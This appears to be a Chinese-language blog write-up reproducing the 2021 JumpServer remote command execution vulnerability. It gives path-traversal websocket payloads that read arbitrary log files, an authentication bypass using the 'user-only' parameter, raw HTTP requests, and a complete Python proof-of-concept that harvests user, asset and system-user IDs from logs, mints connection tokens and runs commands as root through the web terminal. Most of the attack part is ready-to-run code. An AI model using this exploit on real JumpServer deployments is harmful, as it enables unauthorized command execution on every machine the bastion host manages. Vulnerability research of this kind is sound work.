JumpServer 远程命令执行漏洞复现
2021年1月15日,开源堡垒机JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行命令(系统有个批量命令执行的功能,会记录taskid到log中,利用前面读取log的漏洞可以获取taskid进行重放。)
实际是任意.log读取 然后通过任意log文件读取 获取到堡垒机托管的机器的SSH会话token,通过获取到的会话Token执行任意命令(有回显)。
标题很高大上,实际这个洞利用无法进行定向利用,大概是会话劫持那种利用。
参考链接:
https://s.tencent.com/research/bsafe/1228.html
https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw
复现过程
查找官方修复补丁:https://github.com/jumpserver/jumpserver/commits/master
你会发现找不到。。。。
太骚了,单独开分支更新,然后合并过来。
真实的补丁:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e
有两个文件进行了变动 apps/authentication/api/auth.py 和 apps/ops/ws.py
- apps/ops/ws.py

很明显websocket 加了个鉴权代码,所以POC就是直接连就完事了。
这个接口能干啥呢?我们查看源码这个函数属于TaskLogWebsocket 类
https://github.com/jumpserver/jumpserver/blob/master/apps/ops/ws.py
我们可以看到json解析数据,提取task参数值的值作为handle_task的参数。
handle_task 将接收到的task传递到read_log_file函数的参数task_id,read_log_file调用wait_util_log_path_exist 获取到该task_id对应的log文件,然后输出返回内容。
wait_util_log_path_exist调用get_celery_task_log_path 获取 日志文件路径
通过查看get_celery_task_log_path源码

可以看到是很简单的拼接,所以一定有路径穿越。故存在任意.log文件读取
payload如下:
{"task":"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/gunicorn"}
{"task":"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/jumpserver"}
对应着jumpserver 两个比较重要的日志文件
import asyncio
import websockets
async def test(uri):
async with websockets.connect(uri) as websocket:
await websocket.send("{\"task\":\"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/gunicorn\"}")
greeting = "!"
while greeting:
greeting = await websocket.recv()
print(greeting)
asyncio.get_event_loop().run_until_complete(
test('ws://host:8080/ws/ops/tasks/log/'))
读取到日志有什么用呢?目前来看是一些信息泄露,比如当jumpserver 报错了,可能在gunicorn.log里能看到一些信息还有就是读取命令的返回结果。这个日志也是后续的RCE利用的关键点
命令重放,在jumpserver.log中找到对应的taskid
在jumpserver.log里会有类似的日志
[ws INFO] Task id: e28a51aa-08c5-405f-a9fd-baf188ccca4a\r\n2021-01-16 01:43:03
我们先用任意日志读取漏洞看看该任务对应的命令,免得用力过猛
---------- \u4efb\u52a1\u5f00\u59cb ----------\r\r\n$ id (2021-01-16 02:04:03) *******************************************************************************************************************************************\r\r\n\u001b[0;33m*.*.*.* | CHANGED | rc=0 >>\u001b[0m\r\n\u001b[0;33muid=0(root) gid=0(root) \u7ec4=0(root)\u001b[0m\r\n\u001b[0;33m\u001b[0m\r\r\n---------- \u4efb\u52a1\u7ed3\u675f ----------\r\r\nTask ops.tasks.run_command_execution[e28a51aa-08c5-405f-a9fd-baf188ccca4a] succeeded in 0.6158538620002219s: None\r\r\n
我们可以看到是id命令,命令定位看美元符。这个时候我们就查看到了这个任务的返回信息
美化及unicode 解码后(*.*.*.*是IP,我打码了)
---------- 任务开始 ----------
$ id (2021-01-16 02:04:03)*******************************************************************************************************************************************
*.*.*.* | CHANGED | rc=0 >>
uid=0(root) gid=0(root) 组=0(root)
---------- 任务结束 ----------
Task ops.tasks.run_command_execution[e28a51aa-08c5-405f-a9fd-baf188ccca4a] succeeded in 0.6158538620002219s: None
我复现的时候用了touch和rm命令均无法实现重放,且根据接口命名也不能重放。
- apps/authentication/api/auth.py
这个呢个人感觉就更鸡肋了,不过也就这个和官方更新首页有关
以下两个接口添加get参数user-only就可以绕过鉴权
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
至于这两个接口有什么呢。找不到相关资料。查看实现源码,需要提供用户的uuid,资产的uuid,和一个操作系统的登陆密钥对的uuid 就会生成一个token(POST),这个token 作为GET参数就会返回用户的uuid
POST /api/v1/users/connection-token/?user-only=1 HTTP/1.1
Host: *:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 153
{"user":"58d40c90-ca4e-48b2-b0aa-42a9713fb9c4",
"asset":"31107461-d50f-4d93-b40a-e70826fa8288",
"system_user":"4fb03fdd-0c15-446b-b431-6394fcd08e61"
}
GET /api/v1/users/connection-token/?user-only=1&token=05445d73-c0f3-4ba7-8446-cda236f0ebef HTTP/1.1
Host: *:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
生成的token有效期只有20秒。
搜索源码目前就看到与/api/v1/terminal/terminals/uuid:terminal/access-key/
会判断terminal对应的token 是否等于传递的token,而terminal的uuid在未授权情况下也获取不到。
RCE利用
一开始复现没在jumpserver代码找到利用点,结果看到微信公众号发现原理利用点是在koko也就是后台的web终端功能

可以清晰看到这里的target_id就是我们生成的token
而前面提到生成token需要user_id,asset_id,system_user_id这三个参数怎么获取呢,还是利用第一个任意.log文件读取gunicorn.log 搜索以下内容
GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect
最后如果他用过web终端,能看到以下记录
192.168.250.8 [16/Jan/2021:16:37:25 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=31107461-d50f-4d93-b40a-e70826fa8288&cache_policy=1&system_user_id=4fb03fdd-0c15-446b-b431-6394fcd08e61&userid=370203bc-b9ba-45a8-896e-436a51d9aa76 HTTP/1.1" 200 12
192.168.250.8 [16/Jan/2021:16:37:25 +0800] "GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=31107461-d50f-4d93-b40a-e70826fa8288&cache_policy=1&system_user_id=4fb03fdd-0c15-446b-b431-6394fcd08e61&userid=370203bc-b9ba-45a8-896e-436a51d9aa76 HTTP/1.1" 200 12
根据拿到的user_id,asset_id,system_user_id,调用/api/v1/users/connection-token/ 生成token ,然后websocket连接 koko项目的 ws/token即可

查找nigix 配置,看到koko项目的访问路径就是koko

完整的POC
import asyncio
import json
import re
import requests
import websockets
def get_token(user_id, asset_id, system_user_id):
data = {}
data["user"] = user_id.replace("user_id=", "")
data["asset"] = asset_id.replace("asset_id=", "")
data["system_user"] = system_user_id.replace("system_user_id=", "")
header = {
"Content-Type": "application/json;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36"
}
uri = "https://{}/api/v1/users/connection-token/?user-only=1".format(host)
r = requests.post(uri, json=data, headers=header)
if r.status_code == 201:
return json.loads(r.text)["token"]
else:
return ""
async def test_token(token, excue_cmd):
async with websockets.connect('ws://{}/koko/ws/token/?target_id={}'.format(host, token)) as websocket:
messages = "!"
conn_id = ""
rce_flag = False
cmd_count = 0
result_data = ""
while messages:
try:
messages = await asyncio.wait_for(websocket.recv(), timeout=2.0)
except:
if messages.find('"type":"CONNECT"') != -1:
conn_id = json.loads(messages)["id"]
cmd1 = '{"id":"%s","type":"TERMINAL_INIT","data":"{\\"cols\\":80,\\"rows\\":24}"}' % conn_id
await websocket.send(cmd1)
elif rce_flag == False:
if cmd_count == len(excue_cmd):
rce_flag = True
cmd2 = '{"id": "%s", "type": "TERMINAL_DATA", "data": "\\r"}' % (conn_id)
result_data = ""
else:
cmd2 = '{"id": "%s", "type": "TERMINAL_DATA", "data": "%s"}' % (conn_id, excue_cmd[cmd_count])
await websocket.send(cmd2)
cmd_count += 1
else:
break
result_data += json.loads(messages)["data"]
print("Excue \"%s\" Result:" % excue_cmd)
print("".join(result_data.split("\r\n")[1:-1]))
async def test(uri):
async with websockets.connect(uri) as websocket:
await websocket.send("{\"task\":\"d14da9ae-f344-4435-bb39-127fe2e6d78f/../../../../../logs/gunicorn\"}")
messages = "!"
tested_list = []
vulned_list = []
while messages:
# RCE
try:
messages += await asyncio.wait_for(websocket.recv(), timeout=2.0)
if messages.find("GET /api/v1/perms/asset-permissions/user/validate/?action_name=connect") != -1:
asset_id_tmp = re.findall(
r"asset_id=[0-9a-z]{8}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{12}",
messages, flags=0)
system_user_id_tmp = re.findall(
r"system_user_id=[0-9a-z]{8}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{12}", messages,
flags=0)
user_id_tmp = re.findall(
r"user_id=[0-9a-z]{8}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{4}\-[0-9a-z]{12}",
messages, flags=0)
count = min(len(asset_id_tmp), len(system_user_id_tmp), len(user_id_tmp))
for i in range(0, count):
if user_id_tmp[i] + asset_id_tmp[i] + system_user_id_tmp[i] in tested_list:
continue
token = get_token(user_id_tmp[i], asset_id_tmp[i], system_user_id_tmp[i])
if token != "":
vulned_list.append(user_id_tmp[i] + "&" + asset_id_tmp[i] + "&" + system_user_id_tmp[i])
print("*" * 100)
print(user_id_tmp[i] + "&" + asset_id_tmp[i] + "&" + system_user_id_tmp[i])
await test_token(token, "id")
print("*" * 100)
tested_list.append(user_id_tmp[i] + asset_id_tmp[i] + system_user_id_tmp[i])
messages = messages.split("\\r\\n")[1]
# Read LOG
# messages = await websocket.recv()
# print(messages)
except Exception as e:
print(str(e))
break
print("Found %d Token" % len(vulned_list))
for item in vulned_list:
print(item)
host = "*:8080"
asyncio.get_event_loop().run_until_complete(
test('ws://{}/ws/ops/tasks/log/'.format(host)))